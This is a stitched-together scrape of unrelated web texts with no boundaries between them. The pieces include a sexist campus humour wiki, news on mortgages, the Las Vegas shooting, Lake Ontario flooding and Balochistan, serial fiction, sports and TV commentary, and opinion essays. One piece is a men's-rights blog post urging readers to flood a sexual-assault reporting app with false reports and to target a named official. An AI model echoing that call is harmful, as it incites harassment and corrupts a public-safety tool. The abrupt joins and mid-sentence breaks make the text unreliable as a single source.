Ratio-Induced Bitch Syndrome is an interesting psychosomatic phenomenon prevalent among women at RPI. It convinces the ladies that they are extremely hot because they are receiving so much attention from males. The increased attention, of course, is merely a factor of the unequal ratio of men to women and not at all relating to the hotness of the female in question. Estimated breast size swells by at least 30% and the self-perceived Hotness Quotient raises an astonishing 3 points, on average. Among the male population, the effects are dramatic. Since homosexuality is not typically an outlet for sexually frustrated males, a suspiciously high amount of keyboards are thrown out every week and the bandwidth at RPI is wholly consumed with torrenting vast, vast reams of porn.
Due to the outrageously limited amount of female population, many of the males have thrown off the traditional 10 scale for hotness of a girl. Because it is a highly logical school, they use the binary system instead. "1" is a yes and a "0" is a no. In general, a girl with a mustache is typically awarded a "0", while all others would be considered a "1."
Campus Edit
Walker Lab
Contrary to its name, Walker Lab is the only building on campus which is absolutely, positively, not moving. It is built on the only outcropping of bedrock which appeared on the entire lower campus, and is generally used as the reference point against which all other building movement is measured.
West Hall
West Hall, also known as "West Hell", like most buildings on that side of campus is unstable. It is also the oldest and most run down building on campus and is thus home of the music and arts departments.
There is an engineering solution to every problem, and this one was no exception. The problem was, the land under the building was shifting, and there was not (and still isn't) any way to stop the earth from moving. So, long steel cables were run underground through uber cool top secret hard to find kick-you-out-of-school-if-you-try-to-trespass tunnels and tied to the foundations of the Sage boiler room. Legend has it that there were originally four cables, and that only three remain, one of them having been cut through long ago by student dissidents.
Folsom Library
The Folsom Library was designed by a man who first thought he was designing a parking garage and then thought it was an office complex. He only later found out it was supposed to be a library. This fact is most obvious from the way the floors sink inwards from the walls, due to the weight of shelf after shelf of reference materials, most of which haven't been touched since the single grad student who needed them graduated or dropped out in the mid 1980s.
Jonsson Engineering Center
Dominant new engineering building until the late 1980's. Famous site of for egg drops, pumpkin tosses (although the Approach is used as well), flat bottles of Mountain Dew drops, and tossing water filled condoms over the edge.
EMPAC
A newly constructed building on campus, EMPAC, or Electro-Magnetic Projectile Accelerator Cannon, is used by the Institute's Staff to control the weather for various formal functions on campus, namely alumni weekends and admissions events, or various celebrations. Shaped like a giant Ark, it is theorized that the building also functions as an emergency escape method from Troy, NY. The building's power derives mostly from siphoning funding away from campus laboratories and research.Earlier: Here is the Summary for last week ending March 4th
• From Nelson Schwartz and David Streitfeld at the NY Times: Mortgage Modification Overhaul Sought by States
State attorneys general have presented the nation’s five biggest banks with a list of demands that could drastically alter the foreclosure process...
Under the blueprint, banks would be prohibited from starting foreclosure proceedings while a borrower was actively trying to lower the interest rate or ease other terms of the home loan, a process known as a mortgage modification.
Any borrower who successfully made three payments in a trial modification would be given a permanent modification. When a modification was denied, it would be automatically reviewed by an ombudsman or independent review panel.
Current government modification programs are largely voluntary, and there are few rules governing servicers' practices. But on Thursday, the nation's largest banks, including Wells Fargo & Co., Bank of America Corp., and Citigroup Inc., received a detailed 27-page proposal from state attorneys general and federal agencies to force a shakeup in banks' mortgage-servicing policies.
One mortgage industry executive familiar with the document described it as "almost like a wish list."
It was absurd that servicers would deny a modification when the borrower was making all the payments in a trial program - that just seemed like the servicer was taking advantage of the borrower. This is definitely a needed change.• From Nick Timiraos and Ruth Simon at the WSJ: Mortgage Practices Overhaul Proposed Obviously this is just the beginning...PGL Spring Tavern Tales 2016 Starts Today, Value Town #63
Xul Hero Spotlight, Missing Portraits, NA Spring Regionals & Thrall's Price Reduction
Paragon Finished Raiding, Soft Foam Sword, Water Striders, Tweets, Fan Art Update
Diablo 3 & RoS Ambience Music
Wojciech Wasiak, also known as VibezPL, has shared an ambience music mix with Diablo 3 and Reaper of Souls music. Amazing work, and a joy to listen while doing other things - definitely check it out below!
Hey guys! In my free time I do musical ambience mixes from different games I enjoyed the most. I pull in-game music files from them, add background noises to create some zone specific atmospheres, and blend them in one bigger journey.
I was tempting myself to make a Diablo mix since the game release, but what really inspired me to pull this off was the amazing Sescheron cues, which were added with the zone in one of the latest patches. Truly inspiring.
Recommended for relaxing and reflective evenings, or for nostalgia trips.
New Moderators Needed!
DiabloFans needs you! We are looking to recruit some new mods to help us keep the forums neat and tidy according to the forum guidelines. Below are a few general guidelines when filling out your application form on the designed thread.The only thing clear about Romney's position on abortion is that it's different depending on the group to which he is pandering.
CBSNews.com/Screenshot.
“My position has been clear throughout this campaign. I’m in favor of abortion being legal in the case of rape and incest, and the health and life of the mother.”
When Mitt Romney said those words in a CBS interview on August 27th, that should have been the end of the debate. No abortion, unless the pregnant woman has been sexually assaulted, or her health or life is at risk by continuing the pregnancy.
But now, in back channels, he’s denying that’s what he meant to say.
Marjorie Dannenfelser, president of the Susan B. Anthony List, tells conservative radio talk show host Bryan Fischer that she confirmed with the Romney campaign that the candidate did not meant to say “health” and that his pro-life views remain the same. Get the facts, direct to your inbox. Subscribe to our daily or weekly digest. SUBSCRIBE “If that were his position, he would never have received our endorsement, that’s for sure,” Dannenfelser told the American Family Radio host. “I have heard clarification from his spokesperson, restating what his position really is, which is rape, incest, life of the mother. That is his position. Those are his exceptions.”
It’s not as if Romney were ambushed during the sit down interview, or had no idea what he would be asked, especially regarding abortion. If he is claiming that he misspoke, doesn’t he need to make that clear to the general population, rather than allegedly release a statement via a spokesperson through the back channels of the anti-choice activists network?
Once more, Romney tells everyone what they want to hear and takes no real position at all. It’s time for the reporters to ask him whether he lied to CBS, or to his conservative backers.A broken window is covered at Mandalay Bay in Las Vegas, as seen Friday, Oct. 6, 2017. Eli Segall/Las Vegas Review-Journal
A Metropolitan Police Department officer accidentally discharged his weapon inside the Mandalay Bay gunman’s suite the night of the Oct. 1 shooting, the Clark County sheriff confirmed Monday.
The police firearm went off inside the suite sometime after officers made entry, Sheriff Joe Lombardo said. But the round or rounds were not fired in the same room where gunman Stephen Paddock was found dead with what has been described as a self-inflicted gunshot wound.
“It happened, and we’re investigating it, just like we do with any officer-involved use of force,” Lombardo told the Las Vegas Review-Journal. “Nobody was struck.”
It’s unclear what caused the officer, who has not been named, to discharge his weapon.
Lombardo also confirmed Monday that the 32nd floor of Mandalay Bay, where the gunman’s corner suite was located, did not have security cameras facing the gunman’s suite or the stairwell door that Paddock had apparently sealed sometime before the shooting. The only cameras on the floor faced the elevators.
FBI Las Vegas spokeswoman Sandra Breault has repeatedly declined to speak about the investigation.
Fifty-eight people were killed and more than 500 were injured during the shooting, which began shortly after 10 p.m. on the last night of the Route 91 Harvest festival.
Lombardo previously said a group of officers breached the gunman’s suite at 11:20 p.m., about an hour after the gunman stopped firing his weapons for unknown reasons.
The gunman’s motive remains a mystery, and nearly a month after the shooting, several more straightforward questions about the shooting have not been addressed or answered.
As of Monday, the Clark County coroner’s office had not released the gunman’s official cause or manner of death.
Contact Rachel Crosby at [email protected] or 702-477-8301. Follow @rachelacrosby on Twitter.Interlude, Agony, and Indecision April 1, 2013
Once again Jack woke up in the teenager’s Euclidian shack in the frozen swamp. At once, he realized that he might have awakened because his body had nearly frozen to death. A fire had been lit in the oil drum stove and extra fire wood had also been piled near its side, but the fire itself had burned down to glowing ruby coals.
Jack’s limbs protested and didn’t want to admit that he had regained consciousness. Every movement seemed to tear at his flesh and open his jagged wounds. His shoulders shivered so badly he almost couldn’t pick up the top log. He managed to throw the log into the pit of coals, which disturbed the red globes that stared at him like the face of a demon. He repeated the process, despite the pain, and a minute later, light flooded the frigid room as the logs burst into flame.
After wrapping the sleeping bag around his shoulders, he huddled closer to the fire. On a whim, he checked to see if his Ki had returned and when he discovered it had, he cursed himself for not using it to heal himself before.
An audible sigh escaped his lips, when the warmth of his healing powers flowed through his weary form. Seconds later, not only did his body stop shivering, but his warrior’s mind came into focus.
He attempted to push past the blur of the last battle. The Templar Queen had fallen. Hopefully the teens had burned the place to the ground. He groaned as he remembered how many of his young allies had paid the ultimate price. Who’s even left? He mused. Alex for sure. Probably John and hopefully Jerry, but that’s it.
Then he remembered his mother. He’d been able to rescue her form the possessed high rise, but what about the other residents? Compared to a whole building filled with some unknown race of Xemmoni scum, wiping out the Temple of Pain might end up being as hard as opening a second beer on a hot day.
At least my mom in safe, but how can I leave this city while such an evil lingers?
He sighed again, while tossed another log onto the already roaring fire. The room was finally beginning to warm and he let the heat soak into his tired muscles and wounds. I’ve been up for days, fighting battle after battle, it’s amazing I’m conscious at all. Hell, it’s amazing I’m alive.
Looking around, he tried to spy a note or some clue that Alex might have left for him, but couldn’t see anything. I wonder where they are and how they’re doing. Since they lost six of their friends, I can’t imagine they’re doing too well. Who even knows how long I’ve been asleep? They might be dealing with the cops and all kinds of crap.
With another groan, he laid back onto the cot. At least they’re safe and my mom is safe. I’m going to need to see her, but I think the teens have done enough. I should sneak away, so Alex and the others won’t insist on helping with the Darkened high rise. They have given enough, suffered enough.
Part of him thought that he should try to leave before Alex returned, but in his mangled and bloody state where could he go in the middle of the harsh northern winter? Soon, despite his wishes, sleep again claimed him, but this time he was plagued by nightmares. His body tossed and he never noticed the ice blue eyes that stared at him through the cracks in the western wall.
To be Continued Next Monday!
Check out where Jack Started his Adventure Here!Arsene Wenger oversaw a strong display of possession football against Ligue 1 representatives Olympique Marseille.
Arsenal may have been subject to censure for not finishing their Champions League encounter with Olympique Marseille sooner, but their overall performance in the 2-0 Group F game demonstrated a number of the assets that Arsene Wenger holds most dear.
Intricate one-touch football was on display, Jack Wilshere's first goal epitomised the club culture and, something that is perhaps going under-reported, Marseille's possession play was no match for Arsenal's.
While one of the keys to the Gunners' strong performances is a domination of possession (against OM they had 64% of the possession against 36%), this cannot be accomplished with an appreciation of the pass and, on Tuesday evening, Arsenal as a team were accurate with a combined 90% of their overall passes.
Individually, there were six stand-out players in this department as Bacary Sagna (91%), Mathieu Flamini (92%), Mes
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two weeks of March, the total outflow from the lake this year was about 8 percent less than it was last year.
Koralewski said the regulatory plans dictated the outflow changes, with the old plan calling the shots last year and Plan 2014 governing outflows this year. Sciremammano, the IJC board member, said the levels weren't alarming enough that the board intervened to release more water last year, and likely would have been hands-off this year as well.
And that 8 percent decline sounds worse than it was. Short-term changes in outflow don't have much impact. The lake rose 1.1 inches in those two weeks last year. It rose 1.2 inches in that period this year.
That’s a difference equal to the thickness of a nickel.
Claim: Why didn’t they just close the dam on the Niagara River and hold back some of that Erie water?
Fact: Ain’t no such thing. There is a dam that extends halfway across the Niagara upstream of the eponymous falls, but it serves to control the amount of water that’s diverted to the huge hydroelectric plants there. All that hydro water is deposited back in the river and winds up in Lake Ontario, though.
Claim: The IJC board could have released more water during the spring as our flooding worsened. They still could be releasing more.
Fact: As the Democrat and Chronicle has reported, the same storms that dumped ultra-heavy rain on the Lake Ontario basin also hit along the St. Lawrence River. Flooding in and around Montreal was the worst in more than two decades. The IJC has insisted that it was unable to release more water from Lake Ontario in April and May because to do so would have exacerbated this dreadful flooding. Though shoreline residents here have complained about this, none of them have presented any data to contradict the IJC approach.
Buy Photo The waves have pounded this home on Edgemere Drive breaking off part of the breakwall. (Photo: TINA MACINTYRE-YEE, @tyee23/staff photographer)
Claim: There have been other years in which just as much rain has fallen in the spring, such as 2011 and 1996, yet the lake didn’t flood then. This proves the IJC mismanaged the lake level this year.
Fact: It’s correct there were (slightly) rainier years but that doesn’t tell the whole tale.The newsletter of the Lake Ontario Riparian Alliance recently presented a cogent, detailed comparison of 2017 and 2011, so let’s use that as an example.
The group gathered March 20 - May 30 rainfall data for six cities in the region in 2011 and this year. Rainfall was heavy in both springs, but averaged an inch more in 2011, LORA reported
Yet the lake rose 26 inches in 2011 and 33 ½ inches this year, LORA found. “Something is very wrong with IJC’s story …” the newsletter concluded.
Mismanagement? No. Incomplete data? Yes. The LORA analysis didn’t have a full set of precipitation numbers and didn't take into account the volume of water entering Lake Ontario from Lake Erie.
The Corps of Engineers provided figures on what they call the total net supply — water entering the lake via direct precipitation and flow from local rivers and creeks, which is analogous to rainfall. The total net supply captures rain and snowmelt in the entire Lake Ontario basin, not just a few cities. That basin is 24,720 square miles, with 13,500 square miles in New York, 11,200 square miles in the province of Ontario and 100 square miles in Pennsylvania.
The Corps figures show that total net supply was a bit higher in the spring of 2011, as LORA said. (That's because March 2011 was super-wet; the total net supply in April and May of this year were higher and were, in fact, the highest two-month total on record.)
Remember, though, it's not just rainfall. Roughly 75 percent of Lake Ontario's water comes from Lake Erie — and the amount of water flowing in from Erie was 15 percent greater this spring than in 2011. That explains why the lake rose more this year than six years hence.
Claim: Plan 2014 was deliberately designed to inflict financial pain on residents of Lake Ontario. Regulators knew the changes would make lakeshore property owners more susceptible to property damages, especially along the south shore.
Fact: There's a grain of truth here, but the answer is complicated.
Plan 2014 documentation says coastal damages along the lake would occur regardless of regulation plans, although “more often than not, Plan 2014 would increase damages compared” to the previous Plan 1958DD.
But, the complicated part is that any plan — even Plan 2014 — still provides substantial protection to property owners, as compared to purely natural conditions.
With Plan 2014 in place, lake property owners should expect an estimated $20 million in annual damages, according to IJC documents. But, Plan 1958DD estimated $18 million in annual damage along the 712-mile shore of Lake Ontario. That's a difference of about $2 million, with the bulk of that cost due to wear on shoreline protections like riprap, breakwalls and revetments.
The IJC does acknowledge that due to geology, land use and development patterns, the lake’s south shore is “uniquely vulnerable to occasional higher waters,” and will likely bear the brunt of the change in cost.
Still, without any plan at all, if the lake were in a natural state, estimated damages would be about $45.5 million annually.
Plan 2014 still provides about $25 million in annual protection.
Claim: The IJC worked a deal with the companies like the New York Power Authority that operate hydroelectric power plants on the St. Lawrence to keep the water high so they can make more money.
Fact: It's true the IJC estimated the power authority and its Canadian counterpart would average $4.3 million more a year in revenue from the slightly higher water expected under Plan 2014. But the plant operators certainly don’t like the water as high as it is now; it could damage their plants and they don't even have the capacity to use all of it. And is a couple of million dollars annually enough to persuade the $2.5 billion-a-year New York Power Authority to enter into an international conspiracy?
More: Flooding hits hundreds of properties along Lake Ontario
Claim: If the board still had its power to control the outflow, they would have fixed this.
Fact: Under the old rules, the board had the authority at times to deviate from the regulatory plan and release more water (or less) than the plan specified. This ability was scaled back, though not eliminated, under Plan 2014. However, IJC officials insist the old rules wouldn't have allowed the board to do anything different to stave off the flooding that's occurred this year. Sciremammano of Brighton, the longest-serving U.S. member of that board and no fan of Plan 2014, generally agrees that is the case.
Claim: The IJC released 1.3 trillion gallons less water from the lake from November through May than it did the previous year.
Fact: This assertion from Greece town supervisor Bill Reilich sounds powerful. That’s an awful lot of water. The figures he provided seem carefully compiled and the assertion is true as far as it goes. The reduction from one November-May period to the next was about 4 percent.
We’ve already touched on the explanations for this, though.
A run-through of Reilich's data shows the difference in outflow was in November, March and April. Remember, in November 2015 the lake level was above average due to the influence of surging Lake Erie, so releases into the St. Lawrence were greater than were needed a year later.
In March of this year, the outflow was lower than a year earlier due to the ice-cover formation and perhaps the impact of Plan 2014, as noted above. In April, of course, they were lower because of flooding in Montreal.
Note: Do you have a Plan 2014 claim you want us to fact check? Email: [email protected] or comment on Facebook.
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Read or Share this story: http://on.rocne.ws/2t69KzDIn one of the most brilliant and compelling rape hysteria propaganda bits I have seen since the odious term “rape culture,” was coined, Australia’s Centre Against Sexual Assault (ACASA) has just announced that it will be launching a free app, ostensibly designed to help police evaluate patterns of crime against women.
A more complete description, provided by theage.com.au, puts it in crystal clear language:
The new app will allow users to use their mobile phone to anonymously post details about threatening sexual behaviour, including the time and place it occurred and a description of alleged offenders. The data collected will then be given to police.
There now, all comfy?
What this amounts to is an accusation app, placed in the hands of anonymous women, who have no responsibility whatsoever for the accuracy of the information they report. Its potential for abuse is overwhelming, a concern acknowledged, and shamefully dismissed by ACASA branch head Carolyn Worth.
”We’ll only refer incidents that have similar times, locations and descriptions,” she said. ”Police still need evidence.”
Right. So someone would have to use the app against a person two or three times to put an innocent man in the hot seat. Of course, that would never happen. Right, Carolyn?
Right?
I will not dwell on the obvious blatant sexism of efforts to only address crimes against one sex, or the implied endorsement of violence targeting males. Given the pernicious nature of this initiative, we are obviously past any point of civil dialog on the basics of sexism.
This is an anonymising system, engineered to profile and legally harass the members of one group. If there ever were something of such blatantly designed for Orwellian mis-use, deserving to be undermined, FTSU style, this is it.
On the suggestion of JtO, I encourage all Australians to download this app, as soon as it becomes available, and to flood it with erroneous information. In fact, make abuse of the app a daily ritual in your life. Australian men and women who value their own human rights, as well as those of their neighbors are advised to organize through facebook or other social media, and also advised to attack the innocent, both men and women, by coordinated profiling with this free, anonymising application.
Remember, there are no controls over this information. You can profile anyone you want. I suggest starting with Carolyn Worth. Profile your dog. If his name happens to be Michael Flood, all the better. Hell, I don’t care, profile me. Just hammer them with false reports till it completely pollutes all the data they are gathering.
Don’t fall for the lie that this is about protecting women, or any other Australian citizen. It is about creating license for state functionaries, on the say so of anyone, whether a victim or just someone with a vendetta, to undermine the rights of male citizens in Oz and to create more propaganda to be used in fundraising efforts for outfits like ACASA.
But you do not have to let them enjoy the use of this irresponsible technology without serious problems. Just 10 citizens making a few reports a week, will completely pooch their already screwed-up data.
We do not yet know of the viability of citizens in other countries joining in on this but will find out and report back. If we can undermine their efforts from across the planet, by all means let us do it, with insistency and purpose.
It is up to you. Make abusing this app in different ways a part of your daily routine as an MRA. Just a couple of thousand concocted reports (much like many of the “legit” ones surely coming in) per year and we can effectively make this program more hassle than it is worth.
For those of you concerned about the false accusation flavor of this, just take them at their word that this is only about trends and not individuals. If they are lying about that, it is not your problem.
This program is Orwellian in the most literal understanding of the word. It is up to you to do something about it.
As far as we have been able to ascertain, there is nothing illegal in our actions, and no way to stop it from happening. AVfM will be tracking developments in this case and doing everything we possible can to undermine the use of this app to target innocent men. That means the app has to GO.Advancements in technology have led to the rise in automation and ‘smart’ manufacturing.
With the internet and digital services pervading every walk of life, there is a clear shift from standardization through mass manufacturing, towards personalization through automation and smart manufacturing.
Powered by data, hyper-personalization combines curation with personalization to create customized user experiences around individual customer wants and needs.
Advances in digital technologies, in artificial intelligence (AI) and software intelligence are enabling companies to take personalization to the next level by making products and services that are highly relevant to individual consumers.
Artificial pancreas
Medtronic’s artificial pancreas devices system is currently under clinical trials for FDA approval.
With an advanced algorithm (SmartGuard Hybrid Closed Loop technology) inside, this device automatically monitors a patient’s glucose levels and delivers patient-tailored insulin doses in people with diabetes.
New disruptive technologies like big data and predictive analytics, cloud computing, the internet of things, design thinking, social media and, yes, 3D printing, too, are transforming manufacturing.
According to McKinsey, Industry 4.0 “is the confluence of trends and technologies” which “promises to reshape the way things are made.”
Companies today have access to large amounts of information from across the value chain, and can utilize this to create unique, precise, personalized offerings.
Customer as focus
With businesses becoming increasingly more customer-centric, the customer becomes the focal point of how manufacturing operations are engineered.
Take for example a private jet.
The body of the aircraft is manufactured by the original equipment manufacturer (OEM), and is standard.
The interior of the private jet, however, are hyper-personalized to suit the buyer’s needs by companies specializing in aircraft ‘completions’.
Completions, therefore, is an integral phase when it comes to luxury aircraft – it feeds on hyper-personalization. The options provided can vary from fancy boardrooms to hi-tech theatres with surround-sound systems and even gold-plated toilet fittings.
The good thing about these new disruptive technologies spawning the hyper-personalization trend is that they allow manufacturing to be as close to the customer as possible, so allowing value addition in the same region, geography, county, city or community as the consumer.
Inclusive growth
Hence, in hyper-personalized environments, consumption facilitates production or part of the production, in the same locality, and allows for inclusive growth.
For example, the fetish for opulence, or, on the other hand, for minimalist design, are specific to a community, or region, and change with culture and language, etc.
Take the case of the Tesla Model S - an electric car with 15 moving parts. When compared with the standard car with an internal combustion engine (and over ten times as many moving parts), the Tesla Model S is highly suited for hyper-personalization.
While the core sub-assemblies (the power train, battery system, etc.) can be manufactured and assembled centrally and in a highly automated ‘smart’ factory, the subsequent assembly of aesthetic sub-assemblies (interiors, headlights, tail lights, entertainment systems, etc.) can be done locally keeping in mind regional preferences.
While hyper-personalization commands a certain closeness with, and to, the customer, Industry 4.0 is about automation and data exchange in manufacturing technologies, which includes cyber-physical systems, the internet of things, and cloud computing.
Local manufacturing
While Industry 4.0 creates asset intensive ‘smart’ factories, it is local, asset-light hyper- personalized manufacturing and assembly that will spur inclusive growth.
Let’s take another example from inside a home.
Most of us are still using two-century-old, vapour-compression technology in our refrigerators. With the advent of new technologies, like thermoelectric and magnetocaloric cooling, we will soon have energy-efficient options available.
Also, the voluminous nature of vapour compression systems meant that the fridge came with the storage cabinet. With the new technologies, one can couple the refrigeration system to a customized cabinet, which can be designed locally with appropriate insulation.
Personalized refrigeration
This opens up a wide variety of options for storing food, medicines and other stuff that requires refrigeration. A doctor can even store their vaccines in a small refrigerated box inside a drawer.
The same technologies assume significance for other heating, ventilation and air-conditioning (HVAC) systems in the consumer as well as industrial domains.
Hyper-personalized manufacturing, and Industry 4.0 hold interesting implications for inclusive growth.
Successful companies will be those that are able to deepen customer intimacy, and respond to their customers’ requirements immediately.
Hyper-personalization allows Industry 4.0 to listen to consumers by analysing information in the public domain and then create products that are highly tailored to the requirements and needs of consumers.
Like the case of a garment manufacturer who analyses the likes and dislikes of a particular group on social media to determine what sort of designs will work for a particular group in the future.
Discerning consumers
Grey garments can be mass manufactured, while the printing of colours, designs, etc., can be hyper-personalized to the needs of the individual or community.
Manufacturers through Industry 4.0 need to understand that operational excellence reaches far beyond product production now more than ever before, thanks to the demands of discerning consumers for hyper-personalized experiences.
With customers at the core, hyper-personalized manufacturing will facilitate local add-ons that create brand stickiness, while fostering inclusive growth for the country or region of the consumer.Image caption The Crisis Team helpline provides around-the-clock mental health support
A woman threatening to take her own life said she felt "let down" when an NHS helpline told her to "have a hot drink and watch the television".
The woman, identified only as Sallyann, told the Norfolk and Suffolk NHS Foundation Trust's Crisis Team she had a razor and was "desperate".
"(They) had no idea at all of how to talk to me or what I needed," she said.
The trust said it was sorry if some of its users had not "experienced the sort of care that they would expect".
The Crisis Team aims to provide 24/7 support for people with mental health issues when "normal methods of coping are not working".
'Soothing voice needed'
Sallyann, who is from Ipswich, has had depression for more than a decade but called the support line when she was in "overwhelming emotional pain".
It's not really meeting the needs of people who are feeling desperate or suicidal Jayne Davey, Suffolk User Forum
"All I needed was a gentle, soothing voice just to sit with me until the desperateness had passed," she said.
"They couldn't do that.
"I was told to take my evening medication, to have a hot drink and to watch the television."
She has called on the trust to review its training policies.
Mental health charity Suffolk User Forum said other people had expressed "quite negative feedback" about the Crisis Team service.
Project co-ordinator Jayne Davey said: "I think there is a gap between the expectation of what the service should provide, and what happens in reality.
"At the moment, it's not really meeting the needs of people who are feeling desperate or suicidal."
Hadrian Ball, medical director of the Norfolk and Suffolk NHS Foundation Trust, said the service was being continually monitored.
"Overall the performance figures we have for our Crisis Teams right across the trust indicates that they are performing to a satisfactory level," he said.
Mr Ball said he would review how some of the patients had been treated.History, we are told, is written by the winners. In the South it has largely been written by the losers.
I know one version of that history well. I was steeped in it. Three of my direct ancestors served in Hood’s Brigade of the Confederate army. They did not fight for slavery, I was taught, but for states’ rights. As President Roosevelt said at the dedication of the Robert E. Lee statue in Dallas in 1936, their nobility and sacrifice should be celebrated.
That might be called the Cavalier version.
There is another version of Southern history. My father called it the Neanderthal version.
We have seen it on display in Charlottesville. We have seen it in Dallas. It holds that America is a white country. Sometimes they say a white Christian country, and we all know why they add the extra word. It is a very old strain in our history, predating the Civil War. It has been at various times anti-Semitic, anti-Catholic, anti-Chinese, anti-Irish, anti-Italian, anti-Japanese, anti-Hispanic, anti-Muslim, and at all times, anti-black. In this version, the War of Northern Oppression destroyed an order ordained by God. Its half-baked theories about racial purity percolate through the 20th century and into our own.
To those not raised in the white South—to those raised in the black South or in the North—these two white Southern versions of history, living side by side, each either contemptuous or resentful of the other, are hard to distinguish. Perhaps the true lost cause is trying to maintain the distinction.
The Cavalier version of nobility and sacrifice on which I was raised and to which almost everyone I knew subscribed is a myth, a romantic gloss over the cold reality. The Civil War was fought over economics; the Southern way of life depended on the free labor of others.
Slavery was as real an evil as has ever been seen on the face of the earth. In the war’s aftermath, true sacrifice would have been humility; true nobility would have been repentance. Instead we got segregation and statues.
Let the dead bury the dead. The only generation that matters now is the future one. The intentions of past generations in erecting the statues, whether noble or defiant, are irrelevant. They are symbolic of new meanings now. Those are meanings that are as repugnant to the common history we have endured as they are dangerous to the common future we can build.
The statues must come down.SOUTHFIELD, Mich. -- Ohio State coach Urban Meyer took aim at some of the problems he sees in college athletics during a news conference promoting the Sound Mind Sound Body Academy in suburban Detroit on Wednesday morning.
And what irked Meyer most was that high school athletes have to pay their own way to campuses for unofficial visits and camps. The NCAA allows five official visits to schools, paid for by the institutions, during an athlete's senior year.
"It is one of the problems I have now with collegiate athletics. It's almost anti-student-athlete where they have to come to us for camp," Meyer said. "How many kids can afford to fly or drive that far?
"This is so unusual, I can't believe we're allowed to do this."
The Sound Mind Sound Body Academy does what Meyer wishes would happen more. The camp, which tries to teach high school athletes about the importance of education and making smart decisions while also providing football instruction from college coaches, brought in coaches from across the Midwest.
"For us, obviously, at the University of Michigan, this is an important part of the development," Michigan coach Brady Hoke said. "We want to help in the community in the Midwest and southeast Michigan and be able to come to the kids because some of them aren't fortunate enough to come to campuses. It's us trying to help kids."
Meyer expanded on Hoke's thought, criticizing the current system. He wondered if there was an easier way to accommodate athletes and recruits to mitigate travel costs.
When Meyer first heard about the camp, he actually went to his compliance office at Ohio State because he couldn't believe it was allowed under NCAA rules. Compliance told him it was, so he showed up along with the majority of his coaching staff.
"There has to be easier ways for a student-athlete to do it the right way and go visit a campus or bringing a campus to the student-athlete like what is happening today," Meyer said. "I'm sure right now they are doing the best they can to evaluate that.
"Because if the bottom line is thinking about the student-athlete first as opposed to anything else, you'll see things like this and camps open up for coaches to work with them."
The Sound Mind Sound Body Academy runs Wednesday and Thursday at Southfield High School and has coaches from Ohio State, Michigan, Eastern Michigan, Syracuse and UAB, among others, scheduled to attend.A heavy bloody military operation of pak army being continued in qalat 4m last 3days, civilians are in difficulty but media's in deep sleep
— Banuk Zarina Baloch (@Zarina_Baloch) October 17, 2016
BREAKING: Gunship helicopters are indiscriminately shelling over the civil populace of Sherani area in Naseerabad. @tufailelif @madhukishwar
— Banuk Zarina Baloch (@Zarina_Baloch) October 17, 2016
NEW DELHI: Three civilians have been allegedly killed by indiscriminate firing by Pakistan forces in Balochistan's Nasirabad district, Times Now reported on Monday citing sources.Earlier today, the Baloch Republican Party (BRP) alleged that bombarding by choppers had killed one Baloch civilian - Lalu Bugti. Several others had been abducted, it added."Pakistani forces launched military operations in Chattar, Sherani, Hoti, and adjacent areas of Nasirabad...Helicopters have indiscriminately bombarded the area, killing an innocent Baloch civilian," the party's spokesperson Sher Mohammed Bugti was quoted as saying by ANI.Pakistan forces had also "conduct(ed) military operations in (the) Goburd area of Mand, Balochistan, and abducted many Baloch people," he said.The BRP, which is currently banned in Pakistan, also said in a press release that Pakistan had been conducting military operations in Dilband and Nagahi areas of Kalat for three days.In Kalat, Pakistan forces abducted "an innocent Baloch civilian" - Mubarak Bugti - and hanged him upside down from a tree for a whole night, before taking him into custody along with his family, the BRP said."Two dead bodies were found in Nagahi area, but the whereabouts of the abductees, including women and children, remains undisclosed," it added.Here are tweets about the alleged operations:Pakistan's alleged human rights violations in Balochistan have been widely reported. The Balochistan Freedom movement - a group of pro-Baloch freedom activists who have recently organised protests outside the UN headquarters - claim that over 5,000 Baloch people have been killed in custody by Pakistani forces, allegedly as part of a 'kill-and-dump' policy. They also claim that 20,000 Baloch have been abducted, of which many continue to face torture.With inputs from ANIWarning: This post—and likely its comment thread—contain speculation and potential spoilers.
The moment nine million of us have been waiting for is finally here: tomorrow, 9pm, Walking Dead Season 3 (S3).
Let's get logistics out of the way first. The show is riding under the new management that righted the ship during the second half of last season. Viewership is at an all-time high and never waned throughout. This is the first season where we know beforehand another one is on the way, even if it hasn't technically been confirmed. And like season 2, season 3 will consist of two eight-episode runs.
Inherently, those parameters will shape what we get possibly more than the comics themselves. We'll have untraditional peaks and valleys in the season's narrative (see Breaking Bad S4 v. S5). There's less pressure on the creative team to feed fans what they want in order to sustain ratings and secure an additional order of episodes. That means showrunner Glen Mazzara should have the freedom to further explore his team's vision, hinted at in the latter half of S2. (He comes from The Shield's coaching tree so to speak, so this is a good thing.)
Now, we all heard the complaints earlier this year. This isn't the first or last show to struggle with the in-between and nail the big moments (see also Sons of Anarchy, 24). However, highlights from the Mazarra half of S2 were so strong you can boil them down to a few words: Carl screws up. Dale. Shane. Goodbye farm. The overall season's highs and lows balanced out. This was a satisfying meal of blood and brains in the end.
But with two seasons in the books to analyze, larger areas of concern surfaced. Mid-season plot building has been slow and tedious. The group remaining at the start of S3 may be 11 strong, but only the show's producers care about the whole lot. (I'll personally take half: Rick, Herschel, Maggie, Glenn, Daryl, and S2 Andrea.) And is it possible to even have a show that combines good suspense (zombies, scary silence, action) with good drama (Rick v. Shane, the pregnancy)? That could be aspiring for too much. Things tend to get complicated when these two desires come into conflict.
No matter how loud the criticism gets, there are enough broad things the series does well to believe momentum will carry through this year. The Walking Dead consistently delivers strong starts and finishes—Rick escaping the hospital, the group navigating the abandoned highway, Barnaggedon. And both seasons also continually re-emphasized the hopelessness of this world—the CDC can't help, loved ones must be put down, everyone is actually a carrier. If you see what critics have been writing about the first two episodes (AMC—I'm still willing to consume your screeners), both trends continue.
We also know we're getting some serious character improvement before one spec of dialogue is heard. There's an increase in the amount of strong, non-white dudes with the entrance of Michonne and the continued, theoretical hardening of Andrea (in the episode one teaser, even T-Dog gets meaningful dialogue for once). And all though we've spent tons of screen time with characters like Hershel's-daughter-whose-name-I'd-have-to-look-up, expect to get invested more in characters like Michonne, The Governor, and Merle despite their limited or nonexistent prior screen time.
The biggest question for this season, though: just how much of the comic will be infused into the show this year? Make no mistake about it, the comics reach some dark areas perhaps never seen on TV when the prison/Woodbury plotlines surface (see the trailer above, both locations are coming). We're talking rape, decapitation, child murders, suicide attempts. The craziest SVU or Oz episodes don't begin to even compare.
